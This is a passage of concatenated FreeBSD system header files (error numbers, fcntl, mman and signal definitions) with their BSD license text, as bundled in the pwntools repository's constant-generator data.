Interrupted system call */ #define EIO 5 /* Input/output error */ #define ENXIO 6 /* Device not configured */ #define E2BIG 7 /* Argument list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file descriptor */ #define ECHILD 10 /* No child processes */ #define EDEADLK 11 /* Resource deadlock avoided */ /* 11 was EAGAIN */ #define ENOMEM 12 /* Cannot allocate memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #ifndef _POSIX_SOURCE #define ENOTBLK 15 /* Block device required */ #endif #define EBUSY 16 /* Device busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* Operation not supported by device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* Too many open files in system */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Inappropriate ioctl for device */ #ifndef _POSIX_SOURCE #define ETXTBSY 26 /* Text file busy */ #endif #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only filesystem */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ /* math software */ #define EDOM 33 /* Numerical argument out of domain */ #define ERANGE 34 /* Result too large */ /* non-blocking and interrupt i/o */ #define EAGAIN 35 /* Resource temporarily unavailable */ #ifndef _POSIX_SOURCE #define EWOULDBLOCK EAGAIN /* Operation would block */ #define EINPROGRESS 36 /* Operation now in progress */ #define EALREADY 37 /* Operation already in progress */ /* ipc/network software -- argument errors */ #define ENOTSOCK 38 /* Socket operation on non-socket */ #define EDESTADDRREQ 39 /* Destination address required */ #define EMSGSIZE 40 /* Message too long */ #define EPROTOTYPE 41 /* Protocol wrong type for socket */ #define ENOPROTOOPT 42 /* Protocol not available */ #define EPROTONOSUPPORT 43 /* Protocol not supported */ #define ESOCKTNOSUPPORT 44 /* Socket type not supported */ #define EOPNOTSUPP 45 /* Operation not supported */ #define ENOTSUP EOPNOTSUPP /* Operation not supported */ #define EPFNOSUPPORT 46 /* Protocol family not supported */ #define EAFNOSUPPORT 47 /* Address family not supported by protocol family */ #define EADDRINUSE 48 /* Address already in use */ #define EADDRNOTAVAIL 49 /* Can't assign requested address */ /* ipc/network software -- operational errors */ #define ENETDOWN 50 /* Network is down */ #define ENETUNREACH 51 /* Network is unreachable */ #define ENETRESET 52 /* Network dropped connection on reset */ #define ECONNABORTED 53 /* Software caused connection abort */ #define ECONNRESET 54 /* Connection reset by peer */ #define ENOBUFS 55 /* No buffer space available */ #define EISCONN 56 /* Socket is already connected */ #define ENOTCONN 57 /* Socket is not connected */ #define ESHUTDOWN 58 /* Can't send after socket shutdown */ #define ETOOMANYREFS 59 /* Too many references: can't splice */ #define ETIMEDOUT 60 /* Operation timed out */ #define ECONNREFUSED 61 /* Connection refused */ #define ELOOP 62 /* Too many levels of symbolic links */ #endif /* _POSIX_SOURCE */ #define ENAMETOOLONG 63 /* File name too long */ /* should be rearranged */ #ifndef _POSIX_SOURCE #define EHOSTDOWN 64 /* Host is down */ #define EHOSTUNREACH 65 /* No route to host */ #endif /* _POSIX_SOURCE */ #define ENOTEMPTY 66 /* Directory not empty */ /* quotas & mush */ #ifndef _POSIX_SOURCE #define EPROCLIM 67 /* Too many processes */ #define EUSERS 68 /* Too many users */ #define EDQUOT 69 /* Disc quota exceeded */ /* Network File System */ #define ESTALE 70 /* Stale NFS file handle */ #define EREMOTE 71 /* Too many levels of remote in path */ #define EBADRPC 72 /* RPC struct is bad */ #define ERPCMISMATCH 73 /* RPC version wrong */ #define EPROGUNAVAIL 74 /* RPC prog. not avail */ #define EPROGMISMATCH 75 /* Program version wrong */ #define EPROCUNAVAIL 76 /* Bad procedure for program */ #endif /* _POSIX_SOURCE */ #define ENOLCK 77 /* No locks available */ #define ENOSYS 78 /* Function not implemented */ #ifndef _POSIX_SOURCE #define EFTYPE 79 /* Inappropriate file type or format */ #define EAUTH 80 /* Authentication error */ #define ENEEDAUTH 81 /* Need authenticator */ #define EIDRM 82 /* Identifier removed */ #define ENOMSG 83 /* No message of desired type */ #define EOVERFLOW 84 /* Value too large to be stored in data type */ #define ECANCELED 85 /* Operation canceled */ #define EILSEQ 86 /* Illegal byte sequence */ #define ENOATTR 87 /* Attribute not found */ #define EDOOFUS 88 /* Programming error */ #endif /* _POSIX_SOURCE */ #define EBADMSG 89 /* Bad message */ #define EMULTIHOP 90 /* Multihop attempted */ #define ENOLINK 91 /* Link has been severed */ #define EPROTO 92 /* Protocol error */ #ifndef _POSIX_SOURCE #define ENOTCAPABLE 93 /* Capabilities insufficient */ #define ECAPMODE 94 /* Not permitted in capability mode */ #endif /* _POSIX_SOURCE */ #ifndef _POSIX_SOURCE #define ELAST 94 /* Must be equal largest errno */ #endif /* _POSIX_SOURCE */ #ifdef _KERNEL /* pseudo-errors returned inside kernel to modify return to process */ #define ERESTART (-1) /* restart syscall */ #define EJUSTRETURN (-2) /* don't modify regs, just return */ #define ENOIOCTL (-3) /* ioctl not handled by this layer */ #define EDIRIOCTL (-4) /* do direct ioctl in GEOM */ #endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/fcntl.h000066400000000000000000000253371507273764500277230ustar00rootroot00000000000000/*- * Copyright (c) 1983, 1990, 1993 * The Regents of the University of California. All rights reserved. * (c) UNIX System Laboratories, Inc. * All or some portions of this file are derived from material licensed * to the University of California by American Telephone and Telegraph * Co. or Unix System Laboratories, Inc. and are reproduced herein with * the permission of UNIX System Laboratories, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)fcntl.h 8.3 (Berkeley) 1/21/94 * $FreeBSD$ */ #ifndef _SYS_FCNTL_H_ #define _SYS_FCNTL_H_ /* * This file includes the definitions for open and fcntl * described by POSIX for ; it also includes * related kernel definitions. */ #include #include #ifndef _MODE_T_DECLARED typedef __mode_t mode_t; #define _MODE_T_DECLARED #endif #ifndef _OFF_T_DECLARED typedef __off_t off_t; #define _OFF_T_DECLARED #endif #ifndef _PID_T_DECLARED typedef __pid_t pid_t; #define _PID_T_DECLARED #endif /* * File status flags: these are used by open(2), fcntl(2). * They are also used (indirectly) in the kernel file structure f_flags, * which is a superset of the open/fcntl flags. Open flags and f_flags * are inter-convertible using OFLAGS(fflags) and FFLAGS(oflags). * Open/fcntl flags begin with O_; kernel-internal flags begin with F. */ /* open-only flags */ #define O_RDONLY 0x0000 /* open for reading only */ #define O_WRONLY 0x0001 /* open for writing only */ #define O_RDWR 0x0002 /* open for reading and writing */ #define O_ACCMODE 0x0003 /* mask for above modes */ /* * Kernel encoding of open mode; separate read and write bits that are * independently testable: 1 greater than the above. * * XXX * FREAD and FWRITE are excluded from the #ifdef _KERNEL so that TIOCFLUSH, * which was documented to use FREAD/FWRITE, continues to work. */ #if __BSD_VISIBLE #define FREAD 0x0001 #define FWRITE 0x0002 #endif #define O_NONBLOCK 0x0004 /* no delay */ #define O_APPEND 0x0008 /* set append mode */ #if __BSD_VISIBLE #define O_SHLOCK 0x0010 /* open with shared file lock */ #define O_EXLOCK 0x0020 /* open with exclusive file lock */ #define O_ASYNC 0x0040 /* signal pgrp when data ready */ #define O_FSYNC 0x0080 /* synchronous writes */ #endif #define O_SYNC 0x0080 /* POSIX synonym for O_FSYNC */ #if __BSD_VISIBLE #define O_NOFOLLOW 0x0100 /* don't follow symlinks */ #endif #define O_CREAT 0x0200 /* create if nonexistent */ #define O_TRUNC 0x0400 /* truncate to zero length */ #define O_EXCL 0x0800 /* error if already exists */ #ifdef _KERNEL #define FHASLOCK 0x4000 /* descriptor holds advisory lock */ #endif /* Defined by POSIX 1003.1; BSD default, but must be distinct from O_RDONLY. */ #define O_NOCTTY 0x8000 /* don't assign controlling terminal */ #if __BSD_VISIBLE /* Attempt to bypass buffer cache */ #define O_DIRECT 0x00010000 #endif /* Defined by POSIX Extended API Set Part 2 */ #if __BSD_VISIBLE #define O_DIRECTORY 0x00020000 /* Fail if not directory */ #define O_EXEC 0x00040000 /* Open for execute only */ #endif #ifdef _KERNEL #define FEXEC O_EXEC #endif #if __POSIX_VISIBLE >= 200809 /* Defined by POSIX 1003.1-2008; BSD default, but reserve for future use. */ #define O_TTY_INIT 0x00080000 /* Restore default termios attributes */ #define O_CLOEXEC 0x00100000 #endif /* * XXX missing O_DSYNC, O_RSYNC. */ #ifdef _KERNEL /* convert from open() flags to/from fflags; convert O_RD/WR to FREAD/FWRITE */ #define FFLAGS(oflags) ((oflags) + 1) #define OFLAGS(fflags) ((fflags) - 1) /* bits to save after open */ #define FMASK (FREAD|FWRITE|FAPPEND|FASYNC|FFSYNC|FNONBLOCK|O_DIRECT|FEXEC) /* bits settable by fcntl(F_SETFL, ...) */ #define FCNTLFLAGS (FAPPEND|FASYNC|FFSYNC|FNONBLOCK|FRDAHEAD|O_DIRECT) #if defined(COMPAT_FREEBSD7) || defined(COMPAT_FREEBSD6) || \ defined(COMPAT_FREEBSD5) || defined(COMPAT_FREEBSD4) /* * Set by shm_open(3) in older libc's to get automatic MAP_ASYNC * behavior for POSIX shared memory objects (which are otherwise * implemented as plain files). */ #define FPOSIXSHM O_NOFOLLOW #undef FCNTLFLAGS #define FCNTLFLAGS (FAPPEND|FASYNC|FFSYNC|FNONBLOCK|FPOSIXSHM|FRDAHEAD| \ O_DIRECT) #endif #endif /* * The O_* flags used to have only F* names, which were used in the kernel * and by fcntl. We retain the F* names for the kernel f_flag field * and for backward compatibility for fcntl. These flags are deprecated. */ #if __BSD_VISIBLE #define FAPPEND O_APPEND /* kernel/compat */ #define FASYNC O_ASYNC /* kernel/compat */ #define FFSYNC O_FSYNC /* kernel */ #define FNONBLOCK O_NONBLOCK /* kernel */ #define FNDELAY O_NONBLOCK /* compat */ #define O_NDELAY O_NONBLOCK /* compat */ #endif /* * We are out of bits in f_flag (which is a short). However, * the flag bits not set in FMASK are only meaningful in the * initial open syscall. Those bits can thus be given a * different meaning for fcntl(2). */ #if __BSD_VISIBLE /* Read ahead */ #define FRDAHEAD O_CREAT #endif /* Defined by POSIX Extended API Set Part 2 */ #if __BSD_VISIBLE /* * Magic value that specify the use of the current working directory * to determine the target of relative file paths in the openat() and * similar syscalls. */ #define AT_FDCWD -100 /* * Miscellaneous flags for the *at() syscalls. */ #define AT_EACCESS 0x100 /* Check access using effective user and group ID */ #define AT_SYMLINK_NOFOLLOW 0x200 /* Do not follow symbolic links */ #define AT_SYMLINK_FOLLOW 0x400 /* Follow symbolic link */ #define AT_REMOVEDIR 0x800 /* Remove directory instead of file */ #endif /* * Constants used for fcntl(2) */ /* command values */ #define F_DUPFD 0 /* duplicate file descriptor */ #define F_GETFD 1 /* get file descriptor flags */ #define F_SETFD 2 /* set file descriptor flags */ #define F_GETFL 3 /* get file status flags */ #define F_SETFL 4 /* set file status flags */ #if __BSD_VISIBLE || __XSI_VISIBLE || __POSIX_VISIBLE >= 200112 #define F_GETOWN 5 /* get SIGIO/SIGURG proc/pgrp */ #define F_SETOWN 6 /* set SIGIO/SIGURG proc/pgrp */ #endif #if __BSD_VISIBLE #define F_OGETLK 7 /* get record locking information */ #define F_OSETLK 8 /* set record locking information */ #define F_OSETLKW 9 /* F_SETLK; wait if blocked */ #define F_DUP2FD 10 /* duplicate file descriptor to arg */ #endif #define F_GETLK 11 /* get record locking information */ #define F_SETLK 12 /* set record locking information */ #define F_SETLKW 13 /* F_SETLK; wait if blocked */ #if __BSD_VISIBLE #define F_SETLK_REMOTE 14 /* debugging support for remote locks */ #define F_READAHEAD 15 /* read ahead */ #define F_RDAHEAD 16 /* Darwin compatible read ahead */ #endif #if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809 #define F_DUPFD_CLOEXEC 17 /* Like F_DUPFD, but FD_CLOEXEC is set */ #endif #if __BSD_VISIBLE #define F_DUP2FD_CLOEXEC 18 /* Like F_DUP2FD, but FD_CLOEXEC is set */ #endif /* file descriptor flags (F_GETFD, F_SETFD) */ #define FD_CLOEXEC 1 /* close-on-exec flag */ /* record locking flags (F_GETLK, F_SETLK, F_SETLKW) */ #define F_RDLCK 1 /* shared or read lock */ #define F_UNLCK 2 /* unlock */ #define F_WRLCK 3 /* exclusive or write lock */ #if __BSD_VISIBLE #define F_UNLCKSYS 4 /* purge locks for a given system ID */ #define F_CANCEL 5 /* cancel an async lock request */ #endif #ifdef _KERNEL #define F_WAIT 0x010 /* Wait until lock is granted */ #define F_FLOCK 0x020 /* Use flock(2) semantics for lock */ #define F_POSIX 0x040 /* Use POSIX semantics for lock */ #define F_REMOTE 0x080 /* Lock owner is remote NFS client */ #define F_NOINTR 0x100 /* Ignore signals when waiting */ #endif /* * Advisory file segment locking data type - * information passed to system by user */ struct flock { off_t l_start; /* starting offset */ off_t l_len; /* len = 0 means until end of file */ pid_t l_pid; /* lock owner */ short l_type; /* lock type: read/write, etc. */ short l_whence; /* type of l_start */ int l_sysid; /* remote system id or zero for local */ }; #if __BSD_VISIBLE /* * Old advisory file segment locking data type, * before adding l_sysid. */ struct __oflock { off_t l_start; /* starting offset */ off_t l_len; /* len = 0 means until end of file */ pid_t l_pid; /* lock owner */ short l_type; /* lock type: read/write, etc. */ short l_whence; /* type of l_start */ }; #endif #if __BSD_VISIBLE /* lock operations for flock(2) */ #define LOCK_SH 0x01 /* shared file lock */ #define LOCK_EX 0x02 /* exclusive file lock */ #define LOCK_NB 0x04 /* don't block when locking */ #define LOCK_UN 0x08 /* unlock file */ #endif #if __POSIX_VISIBLE >= 200112 /* * Advice to posix_fadvise */ #define POSIX_FADV_NORMAL 0 /* no special treatment */ #define POSIX_FADV_RANDOM 1 /* expect random page references */ #define POSIX_FADV_SEQUENTIAL 2 /* expect sequential page references */ #define POSIX_FADV_WILLNEED 3 /* will need these pages */ #define POSIX_FADV_DONTNEED 4 /* dont need these pages */ #define POSIX_FADV_NOREUSE 5 /* access data only once */ #endif #ifndef _KERNEL __BEGIN_DECLS int open(const char *, int, ...); int creat(const char *, mode_t); int fcntl(int, int, ...); #if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809 int openat(int, const char *, int, ...); #endif #if __BSD_VISIBLE || __POSIX_VISIBLE >= 200112 int posix_fadvise(int, off_t, off_t, int); int posix_fallocate(int, off_t, off_t); #endif #if __BSD_VISIBLE int flock(int, int); #endif __END_DECLS #endif #endif /* !_SYS_FCNTL_H_ */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/mman.h000066400000000000000000000166761507273764500275530ustar00rootroot00000000000000/*- * Copyright (c) 1982, 1986, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)mman.h 8.2 (Berkeley) 1/9/95 * $FreeBSD$ */ #ifndef _SYS_MMAN_H_ #define _SYS_MMAN_H_ #include #include #if __BSD_VISIBLE /* * Inheritance for minherit() */ #define INHERIT_SHARE 0 #define INHERIT_COPY 1 #define INHERIT_NONE 2 #endif /* * Protections are chosen from these bits, or-ed together */ #define PROT_NONE 0x00 /* no permissions */ #define PROT_READ 0x01 /* pages can be read */ #define PROT_WRITE 0x02 /* pages can be written */ #define PROT_EXEC 0x04 /* pages can be executed */ /* * Flags contain sharing type and options. * Sharing types; choose one. */ #define MAP_SHARED 0x0001 /* share changes */ #define MAP_PRIVATE 0x0002 /* changes are private */ #if __BSD_VISIBLE #define MAP_COPY MAP_PRIVATE /* Obsolete */ #endif /* * Other flags */ #define MAP_FIXED 0x0010 /* map addr must be exactly as requested */ #if __BSD_VISIBLE #define MAP_RENAME 0x0020 /* Sun: rename private pages to file */ #define MAP_NORESERVE 0x0040 /* Sun: don't reserve needed swap area */ #define MAP_RESERVED0080 0x0080 /* previously misimplemented MAP_INHERIT */ #define MAP_RESERVED0100 0x0100 /* previously unimplemented MAP_NOEXTEND */ #define MAP_HASSEMAPHORE 0x0200 /* region may contain semaphores */ #define MAP_STACK 0x0400 /* region grows down, like a stack */ #define MAP_NOSYNC 0x0800 /* page to but do not sync underlying file */ /* * Mapping type */ #define MAP_FILE 0x0000 /* map from file (default) */ #define MAP_ANON 0x1000 /* allocated from memory, swap space */ #ifndef _KERNEL #define MAP_ANONYMOUS MAP_ANON /* For compatibility. */ #endif /* !_KERNEL */ /* * Extended flags */ #define MAP_NOCORE 0x00020000 /* dont include these pages in a coredump */ #define MAP_PREFAULT_READ 0x00040000 /* prefault mapping for reading */ #endif /* __BSD_VISIBLE */ #if __POSIX_VISIBLE >= 199309 /* * Process memory locking */ #define MCL_CURRENT 0x0001 /* Lock only current memory */ #define MCL_FUTURE 0x0002 /* Lock all future memory as well */ #endif /* * Error return from mmap() */ #define MAP_FAILED ((void *)-1) /* * msync() flags */ #define MS_SYNC 0x0000 /* msync synchronously */ #define MS_ASYNC 0x0001 /* return immediately */ #define MS_INVALIDATE 0x0002 /* invalidate all cached data */ /* * Advice to madvise */ #define _MADV_NORMAL 0 /* no further special treatment */ #define _MADV_RANDOM 1 /* expect random page references */ #define _MADV_SEQUENTIAL 2 /* expect sequential page references */ #define _MADV_WILLNEED 3 /* will need these pages */ #define _MADV_DONTNEED 4 /* dont need these pages */ #if __BSD_VISIBLE #define MADV_NORMAL _MADV_NORMAL #define MADV_RANDOM _MADV_RANDOM #define MADV_SEQUENTIAL _MADV_SEQUENTIAL #define MADV_WILLNEED _MADV_WILLNEED #define MADV_DONTNEED _MADV_DONTNEED #define MADV_FREE 5 /* dont need these pages, and junk contents */ #define MADV_NOSYNC 6 /* try to avoid flushes to physical media */ #define MADV_AUTOSYNC 7 /* revert to default flushing strategy */ #define MADV_NOCORE 8 /* do not include these pages in a core file */ #define MADV_CORE 9 /* revert to including pages in a core file */ #define MADV_PROTECT 10 /* protect process from pageout kill */ /* * Return bits from mincore */ #define MINCORE_INCORE 0x1 /* Page is incore */ #define MINCORE_REFERENCED 0x2 /* Page has been referenced by us */ #define MINCORE_MODIFIED 0x4 /* Page has been modified by us */ #define MINCORE_REFERENCED_OTHER 0x8 /* Page has been referenced */ #define MINCORE_MODIFIED_OTHER 0x10 /* Page has been modified */ #define MINCORE_SUPER 0x20 /* Page is a "super" page */ /* * Anonymous object constant for shm_open(). */ #define SHM_ANON ((char *)1) #endif /* __BSD_VISIBLE */ /* * XXX missing POSIX_TYPED_MEM_* macros and * posix_typed_mem_info structure. */ #if __POSIX_VISIBLE >= 200112 #define POSIX_MADV_NORMAL _MADV_NORMAL #define POSIX_MADV_RANDOM _MADV_RANDOM #define POSIX_MADV_SEQUENTIAL _MADV_SEQUENTIAL #define POSIX_MADV_WILLNEED _MADV_WILLNEED #define POSIX_MADV_DONTNEED _MADV_DONTNEED #endif #ifndef _MODE_T_DECLARED typedef __mode_t mode_t; #define _MODE_T_DECLARED #endif #ifndef _OFF_T_DECLARED typedef __off_t off_t; #define _OFF_T_DECLARED #endif #ifndef _SIZE_T_DECLARED typedef __size_t size_t; #define _SIZE_T_DECLARED #endif #if defined(_KERNEL) || defined(_WANT_FILE) #include struct file; struct shmfd { size_t shm_size; vm_object_t shm_object; int shm_refs; uid_t shm_uid; gid_t shm_gid; mode_t shm_mode; int shm_kmappings; /* * Values maintained solely to make this a better-behaved file * descriptor for fstat() to run on. */ struct timespec shm_atime; struct timespec shm_mtime; struct timespec shm_ctime; struct timespec shm_birthtime; struct label *shm_label; /* MAC label */ const char *shm_path; }; #endif #ifdef _KERNEL int shm_mmap(struct shmfd *shmfd, vm_size_t objsize, vm_ooffset_t foff, vm_object_t *obj); int shm_map(struct file *fp, size_t size, off_t offset, void **memp); int shm_unmap(struct file *fp, void *mem, size_t size); void shm_path(struct shmfd *shmfd, char *path, size_t size); #else /* !_KERNEL */ __BEGIN_DECLS /* * XXX not yet implemented: posix_mem_offset(), posix_typed_mem_get_info(), * posix_typed_mem_open(). */ #if __BSD_VISIBLE int getpagesizes(size_t *, int); int madvise(void *, size_t, int); int mincore(const void *, size_t, char *); int minherit(void *, size_t, int); #endif int mlock(const void *, size_t); #ifndef _MMAP_DECLARED #define _MMAP_DECLARED void * mmap(void *, size_t, int, int, int, off_t); #endif int mprotect(const void *, size_t, int); int msync(void *, size_t, int); int munlock(const void *, size_t); int munmap(void *, size_t); #if __POSIX_VISIBLE >= 200112 int posix_madvise(void *, size_t, int); #endif #if __POSIX_VISIBLE >= 199309 int mlockall(int); int munlockall(void); int shm_open(const char *, int, mode_t); int shm_unlink(const char *); #endif __END_DECLS #endif /* !_KERNEL */ #endif /* !_SYS_MMAN_H_ */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/signal.h000066400000000000000000000343371507273764500300720ustar00rootroot00000000000000/*- * Copyright (c) 1982, 1986, 1989, 1991, 1993 * The Regents of the University of California. All rights reserved. * (c) UNIX System Laboratories, Inc. * All or some portions of this file are derived from material licensed * to the University of California by American Telephone and Telegraph * Co. or Unix System Laboratories, Inc. and are reproduced herein with * the permission of UNIX System Laboratories, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)signal.h 8.4 (Berkeley) 5/4/95 * $FreeBSD$ */ #ifndef _SYS_SIGNAL_H_ #define _SYS_SIGNAL_H_ #include #include #include #include /* __MINSIGSTKSZ */ #include /* sig_atomic_t; trap codes; sigcontext */ /* * System defined signals. */ #if __POSIX_VISIBLE || __XSI_VISIBLE #define SIGHUP 1 /* hangup */ #endif #define SIGINT 2 /* interrupt */ #if __POSIX_VISIBLE || __XSI_VISIBLE #define SIGQUIT 3 /* quit */ #endif #define SIGILL 4 /* illegal instr. (not reset when caught) */ #if __XSI_VISIBLE #define SIGTRAP 5 /* trace trap (not reset when caught) */ #endif #define SIGABRT 6 /* abort() */ #if __BSD_VISIBLE #define SIGIOT SIGABRT /* compatibility */ #define SIGEMT 7 /* EMT instruction */ #endif #define SIGFPE 8 /* floating point exception */ #if __POSIX_VISIBLE || __XSI_VISIBLE #define SIGKILL 9 /* kill (cannot be caught or ignored) */ #endif #if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE #define SIGBUS 10 /* bus error */ #endif #define SIGSEGV 11 /* segmentation violation */ #if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE #define SIGSYS 12 /* non-existent system call invoked */ #endif #if __POSIX_VISIBLE || __XSI_VISIBLE #define SIGPIPE 13 /* write on a pipe with no one to read it */ #define SIGALRM 14 /* alarm clock */ #endif #define SIGTERM 15 /* software termination signal from kill */ #if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE #define SIGURG 16 /* urgent condition on IO channel */ #endif #if __POSIX_VISIBLE || __XSI_VISIBLE #define SIGSTOP 17 /* sendable stop signal not from tty */ #define SIGTSTP 18 /* stop signal from tty */ #define SIGCONT 19 /* continue a stopped process */ #define SIGCHLD 20 /* to parent on child stop or exit */ #define SIGTTIN 21 /* to readers pgrp upon background tty read */ #define SIGTTOU 22 /* like TTIN if (tp->t_local<OSTOP) */ #endif #if __BSD_VISIBLE #define SIGIO 23 /* input/output possible signal */ #endif #if __XSI_VISIBLE #define SIGXCPU 24 /* exceeded CPU time limit */ #define SIGXFSZ 25 /* exceeded file size limit */ #define SIGVTALRM 26 /* virtual time alarm */ #define SIGPROF 27 /* profiling time alarm */ #endif #if __BSD_VISIBLE #define SIGWINCH 28 /* window size changes */ #define SIGINFO 29 /* information request */ #endif #if __POSIX_VISIBLE || __XSI_VISIBLE #define SIGUSR1 30 /* user defined signal 1 */ #define SIGUSR2 31 /* user defined signal 2 */ #endif #if __BSD_VISIBLE #define SIGTHR 32 /* reserved by thread library. */ #define SIGLWP SIGTHR #endif #define SIGRTMIN 65 #define SIGRTMAX 126 #define SIG_DFL ((__sighandler_t *)0) #define SIG_IGN ((__sighandler_t *)1) #define SIG_ERR ((__sighandler_t *)-1) /* #define SIG_CATCH ((__sighandler_t *)2) See signalvar.h */ #define SIG_HOLD ((__sighandler_t *)3) /* * Type of a signal handling function. * * Language spec sez signal handlers take exactly one arg, even though we * actually supply three. Ugh! * * We don't try to hide the difference by leaving out the args because * that would cause warnings about conformant programs. Nonconformant * programs can avoid the warnings by casting to (__sighandler_t *) or * sig_t before calling signal() or assigning to sa_handler or sv_handler. * * The kernel should reverse the cast before calling the function. It * has no way to do this, but on most machines 1-arg and 3-arg functions * have the same calling protocol so there is no problem in practice. * A bit in sa_flags could be used to specify the number of args. */ typedef void __sighandler_t(int); #if __POSIX_VISIBLE || __XSI_VISIBLE #ifndef _SIGSET_T_DECLARED #define _SIGSET_T_DECLARED typedef __sigset_t sigset_t; #endif #endif #if __POSIX_VISIBLE >= 199309 || __XSI_VISIBLE >= 500 union sigval { /* Members as suggested by Annex C of POSIX 1003.1b. */ int sival_int; void *sival_ptr; /* 6.0 compatibility */ int sigval_int; void *sigval_ptr; }; #endif #if __POSIX_VISIBLE >= 199309 struct sigevent { int sigev_notify; /* Notification type */ int sigev_signo; /* Signal number */ union sigval sigev_value; /* Signal value */ union { __lwpid_t _threadid; struct { void (*_function)(union sigval); void *_attribute; /* pthread_attr_t * */ } _sigev_thread; unsigned short _kevent_flags; long __spare__[8]; } _sigev_un; }; #if __BSD_VISIBLE #define sigev_notify_kqueue sigev_signo #define sigev_notify_kevent_flags _sigev_un._kevent_flags #define sigev_notify_thread_id _sigev_un._threadid #endif #define sigev_notify_function _sigev_un._sigev_thread._function #define sigev_notify_attributes _sigev_un._sigev_thread._attribute #define SIGEV_NONE 0 /* No async notification. */ #define SIGEV_SIGNAL 1 /* Generate a queued signal. */ #define SIGEV_THREAD 2 /* Call back from another pthread. */ #if __BSD_VISIBLE #define SIGEV_KEVENT 3 /* Generate a kevent. */ #define SIGEV_THREAD_ID 4 